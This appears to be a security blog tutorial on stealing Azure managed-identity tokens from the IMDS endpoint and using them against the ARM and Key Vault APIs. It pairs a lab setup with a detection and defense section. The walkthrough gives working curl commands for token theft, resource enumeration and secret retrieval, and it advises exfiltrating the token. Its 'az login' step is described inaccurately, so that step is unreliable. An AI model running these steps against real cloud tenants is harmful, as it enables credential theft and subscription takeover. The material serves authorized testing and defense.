Abusing Azure Managed Identities: From IMDS Token Theft to ARM Takeover

Cloud Security
Time it takes to read this article 6 minutes.

Disclaimer: This article is for educational purposes and authorized security testing only. Only perform these techniques against environments you own or have explicit written permission to assess. Unauthorized access to cloud resources is illegal in virtually every jurisdiction.

Introduction / Overview

Azure Managed Identities solve a real problem: instead of hard-coding credentials in code or config, a VM, Function App, or other Azure resource gets an identity in Entra ID (formerly Azure AD) that Azure manages for you. The application asks a local metadata endpoint for an OAuth2 token and uses it to call Azure services. No secrets on disk.

The trouble for defenders is that the convenience cuts both ways. Once an attacker gains code execution on a resource with a managed identity, that local token endpoint becomes a credential vending machine. There is no password to crack and no MFA prompt to bypass — the host is the trust boundary. This post walks through stealing an Instance Metadata Service (IMDS) token and pivoting into the Azure Resource Manager (ARM) API, then covers detection and defense in equal depth.

How it works / Background

There are two flavors of managed identity:

  • System-assigned: tied to a single resource (one VM, one Function). It is created and deleted with the resource and cannot be shared.
  • User-assigned: a standalone resource that can be attached to many compute resources at once.

On a VM, the application retrieves a token from the Instance Metadata Service (IMDS) at the non-routable link-local address 169.254.169.254. The request must include the header Metadata: true (an anti-SSRF guard) and a resource parameter naming the audience — for example https://management.azure.com/ for ARM, or https://vault.azure.net for Key Vault.

The endpoint returns a JWT bearer token. The token inherits whatever Azure RBAC role assignments the identity holds. If a lazy administrator granted the VM's identity Contributor at the subscription scope, an attacker who lands on that VM effectively owns the subscription.

App Services and Functions don't expose 169.254.169.254. Instead they inject the environment variables IDENTITY_ENDPOINT and IDENTITY_HEADER, and you pass the header value via X-IDENTITY-HEADER instead of Metadata: true.

Prerequisites / Lab setup

To reproduce this safely, build a throwaway lab:

  • An Azure subscription you control (a free trial works).
  • A Linux VM with a system-assigned managed identity enabled.
  • A role assignment on the identity, e.g. Reader to start, then Contributor to see escalation impact.
# Create a resource group and VM with a system-assigned identity
az group create --name rg-mi-lab --location eastus

az vm create \
  --resource-group rg-mi-lab \
  --name vm-mi-lab \
  --image Ubuntu2204 \
  --assign-identity '[system]' \
  --admin-username labadmin \
  --generate-ssh-keys

# Grab the principal ID and grant it a role (simulating an over-permissioned identity)
PRINCIPAL_ID=$(az vm show -g rg-mi-lab -n vm-mi-lab --query identity.principalId -o tsv)
SUB_ID=$(az account show --query id -o tsv)

az role assignment create \
  --assignee-object-id "$PRINCIPAL_ID" \
  --assignee-principal-type ServicePrincipal \
  --role "Contributor" \
  --scope "/subscriptions/$SUB_ID"
Bash

This mirrors the classic real-world mistake. The technique maps to MITRE ATT&CK T1552.005 — Unsecured Credentials: Cloud Instance Metadata API.

Walkthrough / PoC

Assume you have gained command execution on the VM (RCE, an SSRF that reaches IMDS, a webshell — whatever the engagement allows).

1. Confirm the identity exists

curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | jq .
Bash

If this returns instance metadata, IMDS is reachable.

2. Request an ARM-scoped token

curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fmanagement.azure.com%2F" \
  | jq -r .access_token
Bash

The response contains access_token, expires_on, and the client_id of the identity. Decode the JWT at the aud, oid, and xms_mirid claims to confirm scope:

TOKEN=$(curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fmanagement.azure.com%2F" \
  | jq -r .access_token)

# Decode the JWT payload (base64url)
echo "$TOKEN" | cut -d. -f2 | tr '_-' '/+' | base64 -d 2>/dev/null | jq .
Bash

3. Enumerate what the identity can reach via the ARM API

With the bearer token, you can call ARM directly — no az login, no interactive auth:

SUB_ID="<your-subscription-id>"

# List all resources visible to the identity
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://management.azure.com/subscriptions/$SUB_ID/resources?api-version=2021-04-01" \
  | jq '.value[].name'

# Check the identity's own role assignments
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://management.azure.com/subscriptions/$SUB_ID/providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01" \
  | jq '.value[].properties.roleDefinitionId'
Bash

4. Pivot to Key Vault for further token theft

If the identity has access to a Key Vault, request a vault-scoped token (note the different resource value) and pull secrets:

VAULT_TOKEN=$(curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fvault.azure.net" \
  | jq -r .access_token)

curl -s -H "Authorization: Bearer $VAULT_TOKEN" \
  "https://<vault-name>.vault.azure.net/secrets?api-version=7.4" | jq .
Bash

5. Use the stolen token from your own attack box

Tokens are bearer credentials and not host-bound. Exfiltrate the JWT and feed it to the Azure CLU on your laptop, or use offensive tooling such as MicroBurst (Get-AzPasswords) or ROADtools for graph enumeration:

# Tell the Azure CLI to use a raw access token (no re-auth required)
az login --service-principal \
  -u "<client-id>" \
  --tenant "<tenant-id>" \
  --allow-no-subscriptions \
  --federated-token "$TOKEN" 2>/dev/null
# Or simply hit ARM endpoints with the bearer token directly using curl/requests.
Bash

Common escalation actions with a Contributor ARM token include running commands on other VMs via Microsoft.Compute/virtualMachines/runCommand/action, deploying resources, and reading deployment templates that frequently leak secrets in their parameters.

Mermaid diagram

Abusing Azure Managed Identities: From IMDS Token Theft to ARM Takeover diagram 1

The diagram shows the path from initial code execution to ARM takeover, branching on whether IMDS is reachable and whether the identity is over-privileged.

Detection & Defense (Blue Team)

Defense matters as much as the attack, so treat this section with equal weight.

Least privilege first. The single highest-impact control is RBAC hygiene. Never grant a managed identity Contributor or Owner at the subscription or resource-group scope when a narrow, resource-scoped built-in or custom role would do. Audit assignments regularly:

az role assignment list --all \
  --query "[?principalType=='ServicePrincipal'].{role:roleDefinitionName, scope:scope, principal:principalId}" \
  -o table
Bash

Restrict who can reach IMDS. Application code rarely needs raw access to 169.254.169.254. On Linux you can drop or redirect that traffic for non-service users with host firewall rules, and on App Service / Functions you should validate that user-controlled input can never be used to craft outbound requests (the SSRF-to-IMDS chain). IMDS already requires the Metadata: true header specifically to blunt naive SSRF, but request-smuggling and full SSRF still bypass it.

Detection signals. Watch for:

  • ARM tokens for a managed identity being used from IP addresses outside the resource's expected egress (a strong indicator of token exfiltration). Entra ID sign-in logs for service principals expose the source IP for managed identity authentications.
  • Anomalous ARM operations attributed to a managed identity in Azure Activity Log — for example a Function's identity suddenly calling runCommand or roleAssignments/write.
  • Microsoft Defender for Cloud and Microsoft Sentinel ship analytics rules for "Suspicious managed identity usage" and anomalous ARM calls. A KQL hunt over AzureActivity for unexpected OperationNameValue per caller is a good starting point.
AzureActivity
| where Caller has "your-managed-identity-object-id"
| summarize count() by OperationNameValue, CallerIpAddress
| order by count_ desc
Kusto

Token lifetime and rotation. Managed identity tokens are short-lived (roughly an hour) and you cannot revoke an individual token, but you can remove the identity's role assignments or disable the identity, which immediately stops new tokens from being useful. If you suspect compromise, strip RBAC and reissue.

Reduce blast radius. Prefer user-assigned identities only where sharing is genuinely required, scope Key Vault access policies / RBAC tightly, and enable Key Vault logging so secret reads are auditable. Combine this with broader posture work described in Azure RBAC privilege escalation paths and hunting SSRF in cloud apps.

Conclusion

Managed identities remove static secrets but replace them with a local token endpoint that is only as safe as the host and the RBAC granted to it. The attack is almost trivial once you have code execution: one curl to IMDS, one bearer token, and the ARM API is yours at whatever privilege the identity holds. The defensive story is equally clear — least privilege, IMDS egress control, and sign-in/activity monitoring turn a one-step subscription takeover into a contained, noisy event. For more cloud attack tradecraft, see enumerating Azure tenants as a low-priv user.

References

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL